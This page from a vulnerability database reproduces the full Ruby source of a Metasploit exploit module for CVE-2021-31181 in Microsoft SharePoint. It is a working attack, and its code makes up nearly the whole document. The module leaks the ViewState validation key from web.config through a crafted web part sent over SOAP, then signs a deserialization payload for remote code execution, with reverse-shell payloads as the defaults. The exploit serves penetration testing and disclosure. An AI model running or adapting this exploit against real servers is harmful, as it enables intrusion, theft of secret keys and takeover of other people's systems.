Lucene search
K

Microsoft SharePoint Unsafe Control And ViewState Remote Code Execution

🗓️ 17 Jun 2021 00:00:00Reported by unknownType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 1485 Views

Microsoft SharePoint Unsafe Control And ViewState Remote Code Execution. The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user supplied data, leading to sensitive information leakage and code execution on SharePoint 2016 and 2019, Windows Server 2016

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::Sharepoint  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
  
XML_NS = {  
'wpp' => 'http://microsoft.com/sharepoint/webpartpages',  
'soap' => 'http://www.w3.org/2003/05/soap-envelope',  
'xsi' => 'http://www.w3.org/2001/XMLSchema-instance',  
'xsd' => 'http://www.w3.org/2001/XMLSchema'  
}.freeze  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft SharePoint Unsafe Control and ViewState RCE',  
'Description' => %q{  
The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user supplied data. This  
can be leveraged by an attacker to leak sensitive information in rendered-preview content. This module will  
leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution  
when deserialized.  
  
Tested against SharePoint 2019 and SharePoint 2016, both on Windows Server 2016.  
},  
'Author' => [  
'Unknown', # Reported to HP ZDI team, Vulnerability discovery  
'Spencer McIntyre', # Module  
'wvu' # Module  
],  
'References' => [  
[ 'CVE', '2021-31181' ],  
[ 'ZDI', '21-573' ],  
[ 'URL', 'https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-webpart-interpretation-conflict-remote-code-execution-vulnerability' ]  
],  
'DisclosureDate' => '2021-05-11',  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
}  
],  
[  
'Windows Dropper',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,  
'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'  
}  
}  
],  
[  
'PowerShell Stager',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :psh_stager,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'  
}  
}  
]  
],  
'DefaultTarget' => 2,  
'DefaultOptions' => {  
'DotNetGadgetChain' => :TypeConfuseDelegate  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']),  
OptString.new('COOKIE', [false, 'SharePoint cookie if you have one']),  
OptString.new('SP_LIST', [true, 'SharePoint site SPList', 'Documents']),  
# "Promote" these advanced options so we don't have to pass around our own  
OptString.new('HttpUsername', [false, 'SharePoint username']),  
OptString.new('HttpPassword', [false, 'SharePoint password'])  
])  
end  
  
def post_auth?  
true  
end  
  
def username  
datastore['HttpUsername']  
end  
  
def password  
datastore['HttpPassword']  
end  
  
def cookie  
datastore['COOKIE']  
end  
  
def vuln_builds  
# https://docs.microsoft.com/en-us/officeupdates/sharepoint-updates  
# https://buildnumbers.wordpress.com/sharepoint/  
# Patched in May of 2021  
[  
[Rex::Version.new('15.0.0.0'), Rex::Version.new('15.0.0.5337')], # SharePoint 2013  
[Rex::Version.new('16.0.0.0'), Rex::Version.new('16.0.0.5149')], # SharePoint 2016  
[Rex::Version.new('16.0.0.10000'), Rex::Version.new('16.0.0.10373')] # SharePoint 2019  
]  
end  
  
def check  
build = sharepoint_get_version('cookie' => cookie)  
  
if build.nil?  
return CheckCode::Unknown('Failed to retrieve the SharePoint version number')  
end  
  
if vuln_builds.any? { |build_range| build.between?(*build_range) }  
return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")  
end  
  
CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")  
end  
  
def exploit  
if (username.blank? && password.blank?)  
if cookie.blank?  
fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword or COOKIE are required for exploitation')  
end  
  
print_warning('Using the specified COOKIE for authentication')  
end  
  
if (@validation_key = datastore['VALIDATION_KEY'])  
print_status("Using ViewState validation key #{@validation_key}")  
else  
leak_web_config  
end  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
case target['Type']  
when :win_cmd  
execute_command(payload.encoded)  
when :win_dropper  
execute_cmdstager  
when :psh_stager  
execute_command(cmd_psh_payload(  
payload.encoded,  
payload.arch.first,  
remove_comspec: true  
))  
end  
end  
  
def leak_web_config  
print_status('Leaking the ViewState validation key...')  
  
web_id = sharepoint_get_site_web_id('cookie' => cookie)  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the site web ID') unless web_id  
  
webpart = <<~WEBPART  
<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>  
<%@ Register TagPrefix="att" Namespace="System.Web.UI.WebControls " Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>  
WEBPART  
webpart << Nokogiri::XML(<<-WEBPART, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)  
<WebPartPages:XsltListFormWebPart id="id01" runat="server" ListDisplayName="#{datastore['SP_LIST'].encode(xml: :text)}" WebId="{#{web_id.encode(xml: :text)}}">  
<DataSources>  
<att:xmldatasource runat="server" id="XDS1"  
XPath="/configuration/system.web/machineKey"  
datafile="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config" />  
</DataSources>  
<xsl>  
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  
<xsl:output method="xml" indent="yes" />  
<xsl:template match="/">  
<xsl:copy-of select="." />  
</xsl:template>  
</xsl:stylesheet>  
</xsl>  
</WebPartPages:XsltListFormWebPart>  
WEBPART  
  
envelope = '<?xml version="1.0" encoding="utf-8"?>'  
envelope << Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)  
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">  
<soap12:Body>  
<RenderWebPartForEdit xmlns="http://microsoft.com/sharepoint/webpartpages">  
<webPartXml>#{webpart.encode(xml: :text)}</webPartXml>  
</RenderWebPartForEdit>  
</soap12:Body>  
</soap12:Envelope>  
ENVELOPE  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx'),  
'cookie' => cookie,  
'ctype' => 'application/soap+xml; charset=utf-8',  
'data' => envelope  
)  
  
unless res  
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")  
end  
  
unless res.code == 200  
fail_with(Failure::NotFound, "Failed to retrieve #{normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx')}")  
end  
  
xml_response = res.get_xml_document  
if xml_response.nil?  
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (non-XML response body)')  
end  
  
xml_result = xml_response.xpath('//wpp:RenderWebPartForEditResult', XML_NS)&.text  
unless xml_result  
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //wpp:RenderWebPartForEditResult)')  
end  
  
xml_result = Nokogiri::XML(xml_result)  
web_part_pages = Nokogiri::XML(xml_result.xpath('//Properties').text)  
unless web_part_pages&.root  
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //Properties)')  
end  
  
unless (preview = web_part_pages.root.attr('__designer:Preview'))  
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing attribute: __desiginer:Preview)')  
end  
preview = Nokogiri::HTML(CGI.unescapeHTML(preview))  
unless (@validation_key = preview.at('//machinekey/@validationkey')&.text)  
fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath: //machinekey/@validationkey)')  
end  
  
print_good("ViewState validation key: #{@validation_key}")  
end  
  
def execute_command(cmd, _opts = {})  
sharepoint_execute_command_via_viewstate(cmd, @validation_key, { 'cookie' => cookie })  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation